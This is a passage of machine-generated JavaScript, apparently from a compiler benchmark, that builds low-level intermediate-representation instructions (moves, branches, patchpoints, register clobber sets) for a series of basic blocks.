inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(154991936, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createRelCond(NotEqual);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rcx, 0);
inst.args.push(arg);
arg = Arg.createImm(80);
inst.args.push(arg);
arg = Arg.createBigImm(154991936, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(154991944, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rcx, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r12);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move32);
arg = Arg.createAddr(Reg.r12, -8);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r8);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createRelCond(AboveOrEqual);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r8);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
bb0.append(inst);
inst = new Inst(Move32);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createIndex(Reg.r12, Reg.rax, 8, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createImm(10);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r13);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(MoveConditionallyTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createImm(-1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r13);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Xor64);
arg = Arg.createImm(6);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createImm(-2);
inst.args.push(arg);
arg = Arg.createStack(slot2, 0);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createImm(-2);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createImm(1);
inst.args.push(arg);
arg = Arg.createStack(slot1, 0);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(129987312, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createStack(slot4, 0);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(108418352, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(0, -65536);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r14);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createImm(1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(BranchTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
bb0.append(inst);
bb1.predecessors.push(bb6);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
bb1.append(inst);
inst = new Inst(Oops);
bb1.append(inst);
bb2.predecessors.push(bb23);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
bb2.append(inst);
inst = new Inst(Oops);
bb2.append(inst);
bb3.predecessors.push(bb32);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
bb3.append(inst);
inst = new Inst(Oops);
bb3.append(inst);
bb4.predecessors.push(bb0);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
bb4.append(inst);
inst = new Inst(Oops);
bb4.append(inst);
bb5.successors.push(new FrequentedBlock(bb8, Normal));
bb5.successors.push(new FrequentedBlock(bb6, Rare));
bb5.predecessors.push(bb0);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rbx, 56);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
bb5.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rbx, 8);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb5.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rax, -24);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r10);
inst.args.push(arg);
bb5.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.r10, 16);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb5.append(inst);
inst = new Inst(BranchTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb5.append(inst);
bb6.successors.push(new FrequentedBlock(bb1, Rare));
bb6.successors.push(new FrequentedBlock(bb7, Normal));
bb6.predecessors.push(bb5);
inst = new Inst(Move32);
arg = Arg.createImm(1);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbp, 36);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r10);
inst.args.push(arg);
arg = Arg.createStack(slot8, 0);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r10);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r10);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r8);
inst.args.push(arg);
arg = Arg.createStack(slot7, 0);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
arg = Arg.createStack(slot6, 0);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rbp);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.r10);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.xmm0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.extraClobberedRegs.add(Reg.rcx);
inst.extraClobberedRegs.add(Reg.rsi);
inst.extraClobberedRegs.add(Reg.rdi);
inst.extraClobberedRegs.add(Reg.r8);
inst.extraClobberedRegs.add(Reg.r9);
inst.extraClobberedRegs.add(Reg.r10);
inst.extraClobberedRegs.add(Reg.r11);
inst.extraClobberedRegs.add(Reg.xmm1);
inst.extraClobberedRegs.add(Reg.xmm2);
inst.extraClobberedRegs.add(Reg.xmm3);
inst.extraClobberedRegs.add(Reg.xmm4);
inst.extraClobberedRegs.add(Reg.xmm5);
inst.extraClobberedRegs.add(Reg.xmm6);
inst.extraClobberedRegs.add(Reg.xmm7);
inst.extraClobberedRegs.add(Reg.xmm8);
inst.extraClobberedRegs.add(Reg.xmm9);
inst.extraClobberedRegs.add(Reg.xmm10);
inst.extraClobberedRegs.add(Reg.xmm11);
inst.extraClobberedRegs.add(Reg.xmm12);
inst.extraClobberedRegs.add(Reg.xmm13);
inst.extraClobberedRegs.add(Reg.xmm14);
inst.extraClobberedRegs.add(Reg.xmm15);
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Def, type: FP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createStack(slot8, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r10);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createStack(slot7, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r8);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createStack(slot6, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(129987312, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb6.append(inst);
inst = new Inst(BranchTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rcx, 0);
inst.args.push(arg);
arg = Arg.createImm(-1);
inst.args.push(arg);
bb6.append(inst);
bb7.successors.push(new FrequentedBlock(bb11, Normal));
bb7.predecessors.push(bb6);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rax, 8);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb7.append(inst);
inst = new Inst(Jump);
bb7.append(inst);
bb8.successors.push(new FrequentedBlock(bb11, Normal));
bb8.predecessors.push(bb5);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rax, 8);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb8.append(inst);
inst = new Inst(Jump);
bb8.append(inst);
bb9.successors.push(new FrequentedBlock(bb11, Normal));
bb9.predecessors.push(bb15);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r9);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb9.append(inst);
inst = new Inst(Jump);
bb9.append(inst);
bb10.successors.push(new FrequentedBlock(bb11, Normal));
bb10.predecessors.push(bb18);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r9);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb10.append(inst);
inst = new Inst(Jump);
bb10.append(inst);
bb11.successors.push(new FrequentedBlock(bb12, Normal));
bb11.successors.push(new FrequentedBlock(bb16, Normal));
bb11.predecessors.push(bb7);
bb11.predecessors.push(bb10);
bb11.predecessors.push(bb9);
bb11.predecessors.push(bb8);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r9);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rbx, 40);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Move32);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createResCond(Overflow);
inst.args.push(arg);
arg = Arg.createImm(1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.UseZDef, type: GP, width: 32});
inst.patchArgData.push({role: Arg.LateColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.LateColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.LateColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.LateColdUse, type: GP, width: 32});
bb11.append(inst);
inst = new Inst(Move32);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Add64);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r14);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r11);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.r11);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbx, 40);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rbx, 32);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Move32);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createResCond(Overflow);
inst.args.push(arg);
arg = Arg.createImm(1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.UseZDef, type: GP, width: 32});
inst.patchArgData.push({role: Arg.LateColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.LateColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.LateColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.LateColdUse, type: GP, width: 32});
bb11.append(inst);
inst = new Inst(Move32);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Add64);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r14);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbx, 32);
inst.args.push(arg);
bb11.append(inst);
inst = new Inst(Branch32);
arg = Arg.createRelCond(LessThan);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdi);
inst.args.push(arg);
bb11.append(inst);
bb12.successors.push(new FrequentedBlock(bb13, Normal));
bb12.successors.push(new FrequentedBlock(bb14, Normal));
bb12.predecessors.push(bb11);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createRelCond(AboveOrEqual);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createAddr(Reg.r10, 12);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r10);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb12.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.r10, 16);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb12.append(inst);
inst = new Inst(BranchTest32);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rax, 16);
inst.args.push(arg);
arg = Arg.createImm(8);
inst.args.push(arg);
bb12.append(inst);
bb13.successors.push(new FrequentedBlock(bb15, Normal));
bb13.predecessors.push(bb12);
inst = new Inst(Load8);
arg = Arg.createIndex(Reg.r9, Reg.rdx, 1, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb13.append(inst);
inst = new Inst(Jump);
bb13.append(inst);
bb14.successors.push(new FrequentedBlock(bb15, Normal));
bb14.predecessors.push(bb12);
inst = new Inst(Load16);
arg = Arg.createIndex(Reg.r9, Reg.rdx, 2, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb14.append(inst);
inst = new Inst(Jump);
bb14.append(inst);
bb15.successors.push(new FrequentedBlock(bb9, Normal));
bb15.successors.push(new FrequentedBlock(bb17, Normal));
bb15.predecessors.push(bb14);
bb15.predecessors.push(bb13);
inst = new Inst(Move32);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(Move32);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(Add64);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r14);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbx, 72);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createRelCond(AboveOrEqual);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r8);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
bb15.append(inst);
inst = new Inst(Move);
arg = Arg.createIndex(Reg.r12, Reg.rax, 8, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(MoveConditionallyTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createImm(-1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r13);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(Xor64);
arg = Arg.createImm(6);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(Move);
arg = Arg.createImm(-2);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb15.append(inst);
inst = new Inst(Move);
arg = Arg.createImm(1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb15.append(inst);
inst = new Inst(BranchTest64);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rdx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb15.append(inst);
bb16.predecessors.push(bb11);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createStack(slot5, 0);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb16.append(inst);
inst = new Inst(Oops);
bb16.append(inst);
bb17.successors.push(new FrequentedBlock(bb18, Normal));
bb17.successors.push(new FrequentedBlock(bb19, Normal));
bb17.predecessors.push(bb15);
inst = new Inst(Branch32);
arg = Arg.createRelCond(GreaterThanOrEqual);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createImm(48);
inst.args.push(arg);
bb17.append(inst);
bb18.successors.push(new FrequentedBlock(bb10, Normal));
bb18.successors.push(new FrequentedBlock(bb19, Normal));
bb18.predecessors.push(bb17);
inst = new Inst(Branch32);
arg = Arg.createRelCond(LessThanOrEqual);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
inst.args.push(arg);
arg = Arg.createImm(57);
inst.args.push(arg);
bb18.append(inst);
bb19.successors.push(new FrequentedBlock(bb20, Normal));
bb19.successors.push(new FrequentedBlock(bb21, Normal));
bb19.predecessors.push(bb17);
bb19.predecessors.push(bb18);
inst = new Inst(Branch32);
arg = Arg.createRelCond(GreaterThanOrEqual);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rsi);
